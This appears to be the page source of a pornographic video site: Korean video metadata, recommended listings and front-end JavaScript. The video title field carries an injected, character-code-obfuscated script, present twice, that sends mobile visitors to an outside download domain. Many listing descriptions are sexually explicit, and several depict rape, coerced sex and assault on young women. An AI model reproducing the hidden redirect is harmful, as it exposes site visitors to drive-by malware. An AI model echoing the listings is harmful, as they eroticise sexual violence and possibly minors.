</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>세상에서 가장 아름답고 순수한 소녀, 코코아 핑크빛의 부드러운 가슴, 정말 아름다워, 먼저 오럴 섹스를 하고 나서 섹스를 해, 아아, 얼굴이 황홀경에 빠질 때까지 섹스를 당해.
세상에서 가장 아름답고 순수한 소녀, 코코아 핑크빛의 부드러운 가슴, 정말 아름다워, 먼저 오럴 섹스를 하고 나서 섹스를 해, 아아, 얼굴이 황홀경에 빠질 때까지 섹스를 당해.","site_id":0,"video_url":"https://2605.v155p.com/20260605/KS2GLymI/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzk2YWYyNzRjY2JiZDNjODgxM2MwNGE3ZGI5MmUwODEuanBn.cache","duration":"26:39","actor":[],"lastmod":1783766805,"rating":"8.0","view_count":810,"description":"세상에서 제일 아름답고 순수한 소녀 코코는 믿을 수 없을 만큼 예쁘고 분홍빛에 부드러운 가슴을 가지고 있다. 먼저 그녀가 내게 오럴 섹스를 해주고, 그 다음엔 내가 그녀를 강제로 관계하며 그녀의 얼굴이 황홀경에 빠질 때까지 신음하고 끙끙거린다.","tag":["가장 아름다운","좋은 가족","코코아","분홍색","분홍색","부드러운","가슴","너무 아름다워요","아아","망가짐","얼굴 전체","엑스터시"],"site_url":"174645","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["网红头条"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzk2YWYyNzRjY2JiZDNjODgxM2MwNGE3ZGI5MmUwODEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"最美良家可可粉粉嫩嫩奶子超美先口再操嗯嗯啊啊被操得满脸销魂","s_keywords":"最美良家可可粉粉嫩嫩奶子超美先口再操嗯嗯啊啊被操得满脸销魂","s_description":"세상에서 가장 아름답고 순수한 소녀, 코코아 핑크빛의 부드러운 가슴, 정말 아름다워, 먼저 오럴 섹스를 하고 나서 섹스를 해, 아아, 얼굴이 황홀경에 빠질 때까지 섹스를 당해.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTk5MDdlY2ExNTE4MzU5NzZkODhmMTgxOWUwNjk4ODcuanBn.cache","vod_id":18926894,"title":"묶음머리를 한 예쁜 여성 라이브 스트리머가 살짝 노출된 방식으로 가슴을 드러내고 있다. 그녀의 가슴 모양은 매우 매력적이며, 가슴을 만지거나 유혹적인 포즈를 취하는 모습은 상당히 매혹적이다.","lastmod":"2025-12-14","duration":"01:51:34","url":"/play/18926894.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzJkZTYwMmQxNDhlYWFjNjVjZjZiODQ1N2NmY2MzNDYuanBn.cache","vod_id":19147882,"title":"최고급 36D 사이즈의 순수한 소녀, 유혹의 달인","lastmod":"2026-03-12","duration":"27:05","url":"/play/19147882.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MzAvZDhmMTM5ODI5YTU3YzQ1YWY0N2IzNDMwODc4YmI2NDMuanBn.cache","vod_id":19035784,"title":"IPZZ077은 가장 아름다운 여자와 열정적인 키스와 섹스를 나누며 침을 흘립니다.","lastmod":"2025-05-30","duration":"01:59:46","url":"/play/19035784.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODQ1ZmZiMGY1YzU2OWY3M2Y5ZTM2M2MzYWQzMzQxYTEuanBn.cache","vod_id":18946052,"title":"짧은 머리에 매력적인 젊은 여성(키 170cm, 늘씬한 다리, 품행이 단정함)이 속옷 차림으로 애인과 성관계를 갖는다. 그녀는 애인 위에서 올라타 격렬하게 삽입당하며 유혹적인 신음과 헐떡임을 내뱉는다.","lastmod":"2025-12-14","duration":"01:21:39","url":"/play/18946052.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWE2MDAxZTQwMzExMzU1OGJmY2Y4ZDUzNWM0ZWU3ZmQuanBn.cache","vod_id":19026682,"title":"JVID 바비 여신 궁극의 꿈결 같은 핑크빛 가슴을 가진 신유리는 지하철에서 변태에게 성추행을 당했습니다. 풍만한 가슴을 자랑하는 이 회사원은 하얀 피부에 늘씬한 몸매를 가진 매우 섹시한 여성입니다.","lastmod":"2025-03-28","duration":"04:59","url":"/play/19026682.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmE5NjFjZTI1NzEwZmQ1NDYzMGRkMWM2MjdjNTc5ZTYuanBn.cache","vod_id":18997603,"title":"[샤오지에, 여자들과 시시덕거린다] 그녀와 남자친구의 거침없는 동거 생활 속 성생활은 신선하고 짜릿하며 젊음의 에너지로 가득하다.","lastmod":"2025-03-23","duration":"54:19","url":"/play/18997603.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2VjM2Q4NzkxNTE1MzM2NTQyMzU3OTlkZWViM2EyMGIuanBn.cache","vod_id":18950814,"title":"놀랍도록 아름답고 섹시한 젊은 여성이 얼굴을 드러낸 채 샤워를 하며 남자 친구를 유혹하고, 침대에서 가슴 애무와 질 애무 등 다양한 음란한 행위를 펼쳐 흥분되고 자극적인 경험을 선사합니다.","lastmod":"2025-03-22","duration":"01:40:19","url":"/play/18950814.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNTdjNDFkNDQzMzY3OTkyNjBjNGEwM2I2MDJhNGI4ZDQuanBn.cache","vod_id":19149642,"title":"수십만 명의 팬을 보유한 순수하고 아름다운 인터넷 유명인으로, 동안 외모와 풍만한 가슴을 지녔으며 자위행위를 한다.","lastmod":"2026-03-22","duration":"23:29","url":"/play/19149642.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzY0MGEwYmEwMGQxMzAyMTZkMmI3OTFhYmViYzRmYTAuanBn.cache","vod_id":19147200,"title":"날씬하고 분홍빛 가슴을 가진 섹시한 소녀가 딜도를 타고 섹스를 하면서 음란한 소리를 내고 유혹적인 행동을 하며 신나게 즐기고 있다.","lastmod":"2026-03-08","duration":"21:03","url":"/play/19147200.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZTU4MGQzZjAzZDhkOGZmOGRhMDQ5N2VlMmUyNjExYzQuanBn.cache","vod_id":19064846,"title":"부빈 탄화 3000, 고급스러운 펜던트 가슴을 가진 여신상.","lastmod":"2025-12-14","duration":"51:54","url":"/play/19064846.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2JlZjczMWExY2YwMDYxZDczMjUwZjIwNjFlZWRlMTEuanBn.cache","vod_id":18944729,"title":"2020년 2월 20일 [샤오핑핑, 모유 수유하는 순진한 소녀] 모유 수유 중 모유가 화면에 뿜어져 나온다. 아기가 잠든 사이, 그녀는 크고 하얀 엉덩이를 유혹적으로 치켜든 채 남편과 성관계를 갖고, 질내 사정을 한다.","lastmod":"2025-12-14","duration":"01:50:48","url":"/play/18944729.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmIzYTI4NDMwYWNiYjQ2ZmRlMzg5M2M3Yzc4ZGIzNmYuanBn.cache","vod_id":18963436,"title":"놀랍도록 아름다운 젊은 여성이 믿을 수 없을 만큼 부드러운 가슴을 드러내며 늦은 밤 남자 손님들을 즐겁게 해주기 위해 나타나 천천히 옷을 벗고 가슴을 주무른다. 그녀는 파운데이션 브러시로 유두를 자극하며 신음 소리를 내면서 자위한다.","lastmod":"2025-03-22","duration":"01:47:02","url":"/play/18963436.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjgvYWExNzMwNjIwYmQ2N2E3MTE2MTYwYTcxMWU2MGM2NDUuanBn.cache","vod_id":19035517,"title":"HODV21775 음탕한 한숨과 젖은 눈, 널 핥아줄게... 안에 가득 넣어줄게... 침으로 범벅된 구강성교","lastmod":"2025-05-28","duration":"02:14:12","url":"/play/19035517.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjkzOTc1NTNjYjE3ZTJlNjAzOThhMmQwNWQ1MDY1OTguanBn.cache","vod_id":18954849,"title":"\"얼굴 공개✅고화질★명암 대비✅유출\" 여러 드라마에 출연한 큰 눈망울의 아름다운 젊은 여성이 호텔에서 성희롱을 당한다~ 그녀의 탄력 있고 큰 가슴과 기분 좋은 신음 소리 (1)","lastmod":"2025-12-14","duration":"00:14:40","url":"/play/18954849.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvZDUyZWRlYmFkOTU5NzMxZGEzNjFkZDBiMGZjMjc4ZjUuanBn.cache","vod_id":19165876,"title":"주방에서 요리하던 중 30세의 점잖은 젊은 여성에게 성폭행을 당한 후, 그녀는 옷을 벗겨졌다.","lastmod":"2026-07-11","duration":"19:29","url":"/play/19165876.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvNjllNGEwNTA5YWY4NDUzNjBlZjYyMTBhMjhiODA3ZTEuanBn.cache","vod_id":19165682,"title":"아기가 소파에서 아주 잘 당하고 있어요 - 아마추어 섹스 비디오【MiraDavid】","lastmod":"2026-07-11","duration":"21:36","url":"/play/19165682.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODI0ZGRkYWZhMmU2NTdkMTRhZDlkNzBhN2I1MDNkN2YuanBn.cache","vod_id":18979110,"title":"버터플라이는 문신이 있는 젊고 매력적인 여자를 강제로 호텔 방에서 남자친구와 격렬한 섹스를 하게 만들고, 그녀의 남자 팬들 앞에서 섹스를 하도록 강요한다. 그녀는 섹스 도중 얼굴과 몸을 노출하고, 신음 소리는 흥분을 고조시킨다.","lastmod":"2025-03-23","duration":"00:39:51","url":"/play/18979110.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvY2QzZTQzNzljMGM2ZDI5MjQ3ODRiOTUyZTdjZjAwYjcuanBn.cache","vod_id":19167586,"title":"항저우 인터넷 스타이자 젊은 모델인 페이치가 얼굴 노출, 완벽한 얼굴 공개, 최고급 섹스 장비, 음란한 대화, 순수하고 청순한 소녀 이미지로 큰 화제를 모으고 있습니다. 판매용이 아닙니다.항저우 인터넷 스타이자 젊은 모델인 페이치가 얼굴 노출, 완벽한 섹스 장비, 음란한 대화, 순수하고 청순한 소녀 이미지로 큰 화제를 모으고 있습니다. 판매용이 아닙니다.","lastmod":"2026-07-11","duration":"14:33","url":"/play/19167586.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmIwYzcyMjI5YWJiYThhY2E5NmVlZTUwMzUwMWZlZmUuanBn.cache","vod_id":19143760,"title":"프리미엄 유출 정보: 덕망 있는 여성의 대조적인 모습. 32.","lastmod":"2026-02-16","duration":"10:34","url":"/play/19143760.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjAvYTQyYzljNjFlODU4YmZkYzhlYWJkMTZmNGFhZmMxMTEuanBn.cache","vod_id":19063613,"title":"5월에 성인 영화계에 데뷔한 최신 AV 배우는 마르고 연약하며 가련한 어린 소녀입니다. 그녀는 콘돔 없이 매끈하고 부드러운 자연산 질에 여러 차례 삽입당했고, 질내 사정을 경험했습니다.","lastmod":"2025-12-14","duration":"03:01:32","url":"/play/19063613.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWZjM2VkYTU1ZjYxNDc3OGU3NmM2NjQ3ZTRmOGMzOTUuanBn.cache","vod_id":18950209,"title":"빌린 방 안에서 복숭아처럼 예쁜 엉덩이를 가진 귀여운 여자가 강제로 관계를 맺고 있었다. 그녀의 얼굴은 내내 드러나 있었고, 크고 섹시한 가슴을 가지고 있었다. 남자는 그녀를 눕히고 격렬하게 삽입했다. 그녀는 흥분한 가슴을 문지르며 신음했고, 남자는 그녀의 안에 사정했다.","lastmod":"2025-12-14","duration":"01:05:15","url":"/play/18950209.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzI4ZDVkNjRkZjYzNjc3NWY0M2FlZTE4OWU1MDg2MTMuanBn.cache","vod_id":19002812,"title":"이메일 좀 확인해달라고 부탁하는 것만으로도 난 곤란해져.","lastmod":"2025-03-23","duration":"21:29","url":"/play/19002812.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjEvYjNkMTA5OGM2ODFhYTQzYTUwZTNkZjkwNjZmNzYyZjMuanBn.cache","vod_id":19030260,"title":"늘씬한 다리를 가진 아름다운 18세 소녀가 사진작가에게 무자비하게 성폭행을 당했습니다. 사진작가는 옆에서 지켜보면서 소녀의 가슴을 만지고 젖꼭지를 잡아당기고, 소녀를 들어 올려 가슴을 마구 때렸습니다. 소녀는 나이에 비해 상당히 강인한 모습을 보였습니다.","lastmod":"2025-04-21","duration":"50:57","url":"/play/19030260.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTQvMzBkMGQ3NGUyYmI2NmNiNWY1ZDkyNjk3OTliMGNhNTIuanBn.cache","vod_id":19042893,"title":"알-딜라바 - 다리를 벌려 가슴을 드러내고 가장 아름다운 춤 동작을 선보입니다.","lastmod":"2025-07-13","duration":"22:15","url":"/play/19042893.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>세상에서 가장 아름답고 순수한 소녀, 코코아 핑크빛의 부드러운 가슴, 정말 아름다워, 먼저 오럴 섹스를 하고 나서 섹스를 해, 아아, 얼굴이 황홀경에 빠질 때까지 섹스를 당해.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}